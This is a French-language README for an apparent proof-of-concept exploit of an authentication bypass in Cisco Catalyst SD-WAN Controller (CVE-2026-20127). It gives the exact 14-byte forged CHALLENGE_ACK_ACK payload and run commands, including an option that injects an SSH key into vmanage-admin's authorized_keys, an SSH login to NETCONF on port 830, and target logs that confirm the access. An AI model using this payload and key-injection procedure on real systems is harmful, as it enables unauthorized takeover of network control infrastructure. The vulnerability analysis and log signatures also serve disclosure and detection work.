
Exploit pour le contournement d'authentification du contrôleur Cisco Catalyst SD-WAN (CVE-2026-20127) qui forge des messages DTLS CHALLENGE_ACK_ACK afin d'obtenir un accès non autorisé et d'injecter des clés SSH.
Un exploit pour la vulnérabilité de contournement d'authentification Cisco Catalyst SD-WAN Controller, CVE-2026-20127.
Cet exploit cible le gestionnaire vbond_proc_challenge_ack_ack(). Il envoie un message CHALLENGE_ACK_ACK falsifié (msg_type=10) avec un octet verify_status=1 contrôlé par l'attaquant, forçant directement le serveur à définir authenticated=1 sur l'entrée du pair.
Dans le handshake normal du plan de contrôle DTLS :
CHALLENGE (msg_type=8)CHALLENGE_ACK (msg_type=9) contenant les données du certificatCHALLENGE_ACK_ACKverify_status=1Cet exploit court-circuite le flux :
CHALLENGECHALLENGE_ACK_ACK (msg_type=10) avec verify_status=1 directementvbond_proc_challenge_ack_ack() du serveur lit verify_status depuis le corps du message — celui-ci est contrôlé par l'attaquantverify_status != 0, le serveur définit authenticated=1 (*(BYTE*)(a2+70) = 1)La porte d'authentification dans vbond_proc_msg() exempte msg_type=10 des contrôles d'authentification, donc cela fonctionne même si le pair n'est pas encore authentifié.
Testé avec succès contre Cisco Catalyst SD-WAN Controller (alias vSmart), version 20.15.3.
Testé en échec contre un Cisco Catalyst SD-WAN Controller (alias vSmart) corrigé, version 20.12.6.1.
Usage: ./bin/vdaemon_exploit TARGET [options]
vdaemon DTLS Authentication Bypass PoC (CVE-2026-20127)
Cet exploit cible le gestionnaire vbond_proc_challenge_ack_ack().
Il envoie un CHALLENGE_ACK_ACK falsifié avec verify_status=1, ce qui
amène le serveur à définir authenticated=1 sans vérification de certificat.
-p, --port PORT Port DTLS (défaut : 12346)
--inject-key Générer et injecter une clé SSH dans authorized_keys de vmanage-admin
--ssh-key PUBKEY_FILE Chemin vers le fichier de clé publique SSH à injecter
--cert CERT_FILE Chemin vers le fichier de certificat PEM pour le handshake DTLS
--cert-key KEY_FILE Chemin vers le fichier de clé privée PEM pour le handshake DTLS (utilisé avec --cert)
--data-dir DIR Répertoire pour les clés/certificats générés (défaut : ./data/)
Exemples :
./bin/vdaemon_exploit 192.168.86.166
./bin/vdaemon_exploit 192.168.86.166 --inject-key
./bin/vdaemon_exploit 192.168.86.166 --ssh-key ~/.ssh/id_rsa.pub
./bin/vdaemon_exploit 192.168.86.166 --cert ./data/cert.pem --cert-key ./data/key.pem
# Installer les dépendances
bundle install
# Exécuter l'exploit - Tester le contournement d'authentification
ruby ./bin/vdaemon_exploit 192.168.86.166
# Exécuter l'exploit - Tirer parti du contournement d'authentification pour injecter une clé SSH
ruby ./bin/vdaemon_exploit 192.168.86.166 --inject-key
# Tirer parti de la clé SSH - Se connecter à NETCONF en tant que vmanage-admin
ssh -i ./data/ssh/attacker_ssh_20260306_141607 [email protected] -p 830
La capture d'écran suivante montre une exploitation réussie et l'accès SSH ultérieur au service NETCONF :

vbond_proc_challenge_ack_ack()Située à l'adresse 0x38AB7 dans vdaemon (20.12.5). La fonction traite les messages CHALLENGE_ACK_ACK entrants et effectue ces contrôles clés :
a2+112) : Rejette si un CHALLENGE_ACK_ACK a déjà été traité pour ce pair. La première fois, ce compteur est à 0 → passe.a1+8 == 4) : Renvoie 20 si l'appareil local est un vBond. Nous ciblons vSmart (type=3) → passe.a3+32) : Lit le premier octet du corps du message. Si zéro → chemin de rejet (suppression du pair). Si non nul → définit *(BYTE*)(a2+70) = 1 (authentifié).La faille critique : verify_status provient directement du corps du message contrôlé par l'attaquant, sans validation côté serveur. La fonction fait confiance à la déclaration du pair concernant l'état de vérification.
Dans vbond_proc_msg(), la porte d'authentification qui bloque les pairs non authentifiés pour la plupart des types de messages exempte explicitement msg_type=10 (CHALLENGE_ACK_ACK). Cela est nécessaire pour le flux de protocole légitime (le serveur envoie ACK_ACK au client avant la fin de l'authentification), mais cela permet également à un attaquant d'envoyer un ACK_ACK falsifié au serveur.
L'exploit envoie un message de 14 octets :
En-tête (12 octets) :
Octet 0 : 0x0A (version=0, msg_type=10/CHALLENGE_ACK_ACK)
Octet 1 : 0x30 (device_type=3/vSmart << 4)
Octet 2 : 0xA0 (indicateurs)
Octet 3 : 0x00 (réservé)
Octets 4-7 : domain_id (u32 big-endian, défaut : 1)
Octets 8-11 : site_id (u32 big-endian, défaut : 100)
Corps (2 octets) :
Octet 0 : 0x01 (verify_status = 1 / TRUE)
Octet 1 : 0x00 (réservé)
Dans cet exemple, la cible était un Cisco Catalyst SD-WAN Controller (alias vSmart), version 20.15.3. La cible avait une adresse IP de 192.168.86.166 et l'attaquant avait une adresse IP de 192.168.86.35.
Le fichier journal /var/log/vsyslog a enregistré ces messages :
Mar 9 15:02:24 testvsmart VDAEMON_0[1488]: %Viptela-testvsmart-vdaemon_0-2-CRIT-1400002: Notification: control-no-active-vsmart severity-level:critical host-name:"testvsmart" system-ip:1.1.1.2 personality:vsmart generated-at:3-9-2026T15:2:24
Mar 9 15:02:24 testvsmart VDAEMON_0[1488]: %Viptela-testvsmart-vdaemon_0-5-NTCE-1400002: Notification: control-connection-state-change severity-level:major host-name:"testvsmart" system-ip:1.1.1.2 personality:vsmart peer-type:vsmart peer-system-ip::: peer-vmanage-system-ip:0.0.0.0 public-ip:192.168.86.35 public-port:52521 src-color:public-internet remote-color:(null) uptime:"0:00:00:12" new-state:down generated-at:3-9-2026T15:2:24
Le fichier journal /var/log/vdebug a enregistré ces messages :
Mar 9 15:02:12 testvsmart VDAEMON_0[1488]: vdaemon_peer_ssl_snapshot_info[497]: [VDAEMON_DBG_SSL-5] ssl 0x7fdc8a4b2000 ssl_version 65277 protocol_version 7 cipher_name ECDHE-RSA-AES256-GCM-SHA384 is_server true cipher_bits 256 cipher_desc "ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 Kx=ECDH Au=RSA Enc=AESGCM(256) Mac=AEAD
"
Mar 9 15:02:12 testvsmart VDAEMON_0[1488]: vdaemon_peer_ssl_snapshot_info[506]: [VDAEMON_DBG_SSL-5] local_cert: "RSA"(6) bits:2048 sec_bits:112 peer_cert: "RSA"(6) bits:2048 sec_bits:112 local_tmp: not filled peer_tmp: "ECDH"(408) ec_group "P-521" (716) bits:521 sec_bits:260
Mar 9 15:02:12 testvsmart VDAEMON_0[1488]: vbond_handshake_event_cb[1436]: [VDAEMON_DBG_CERT-5] Get CA RSA Public key
Mar 9 15:02:12 testvsmart VDAEMON_0[1488]: vbond_proc_msg[5747]: [VDAEMON_DBG_MISC-3] Migrating .. sys_ip :: vmanage_sys_ip 0.0.0.0
Mar 9 15:02:12 testvsmart VDAEMON_0[1488]: %Viptela-testvsmart-vdaemon_0-5-NTCE-1400002: Notification: control-connection-state-change severity-level:major host-name:"testvsmart" system-ip:1.1.1.2 personality:vsmart peer-type:vsmart peer-system-ip::: peer-vmanage-system-ip:0.0.0.0 public-ip:192.168.86.35 public-port:52521 src-color:public-internet remote-color:(null) uptime:"0:00:00:00" new-state:up generated-at:3-9-2026T15:2:12
Mar 9 15:02:12 testvsmart VDAEMON_0[1488]: vdaemon_send_register_to_vmanage[7133]: [VDAEMON_DBG_PKT-5] Sending register_to_vmanage
Mar 9 15:02:12 testvsmart VDAEMON_0[1488]: vdaemon_reset_cfg_push_request[6225]: [VDAEMON_DBG_MISC-5] /var/confd/.backup/vmanage_cfg_push_request does not exist
Mar 9 15:02:13 testvsmart VDAEMON_1[1483]: vdaemon_vbond_poke_a_hole[5861]: [VDAEMON_DBG_PKT-3] poke-a-hole is not possible for FD 23 wan_if eth0_v6
Mar 9 15:02:13 testvsmart VDAEMON_1[1483]: vbond_peer_create[1773]: [VDAEMON_DBG_MISC-3] Incompatible peer:Local intf name: eth0_v6 peer ip: 192.168.86.134
Mar 9 15:02:13 testvsmart VDAEMON_0[1488]: vdaemon_vbond_poke_a_hole[5861]: [VDAEMON_DBG_PKT-3] poke-a-hole is not possible for FD 22 wan_if eth0_v6
Mar 9 15:02:13 testvsmart VDAEMON_0[1488]: vbond_peer_create[1773]: [VDAEMON_DBG_MISC-3] Incompatible peer:Local intf name: eth0_v6 peer ip: 192.168.86.134
Mar 9 15:02:24 testvsmart VDAEMON_0[1488]: vbond_peer_timer_exp_cb[584]: [VDAEMON_DBG_EVENTS-3] Timing out peer 192.168.86.35:52521 on eth0
Mar 9 15:02:24 testvsmart VDAEMON_0[1488]: %Viptela-testvsmart-vdaemon_0-2-CRIT-1400002: Notification: control-no-active-vsmart severity-level:critical host-name:"testvsmart" system-ip:1.1.1.2 personality:vsmart generated-at:3-9-2026T15:2:24
Mar 9 15:02:24 testvsmart VDAEMON_0[1488]: %Viptela-testvsmart-vdaemon_0-5-NTCE-1400002: Notification: control-connection-state-change severity-level:major host-name:"testvsmart" system-ip:1.1.1.2 personality:vsmart peer-type:vsmart peer-system-ip::: peer-vmanage-system-ip:0.0.0.0 public-ip:192.168.86.35 public-port:52521 src-color:public-internet remote-color:(null) uptime:"0:00:00:12" new-state:down generated-at:3-9-2026T15:2:24
Après avoir utilisé l'exploit avec succès, l'attaquant distant peut tirer parti de la clé SSH de l'utilisateur vmanage-admin nouvellement téléchargée pour se connecter au service NETCONF via SSH sur le port TCP 830. Le fichier journal /var/log/auth.log a enregistré ces messages :
Mar 9 15:02:24 testvsmart sshd[4838]: Accepted publickey for vmanage-admin from 192.168.86.35 port 52135 ssh2: RSA SHA256:5gvFG8VrVRpc/fX6PDd2vDfTj63jcIgbiWvSRTrlqBo
Mar 9 15:02:24 testvsmart sshd[4838]: pam_unix(sshd:session): session opened for user vmanage-admin(uid=1001) by (uid=0)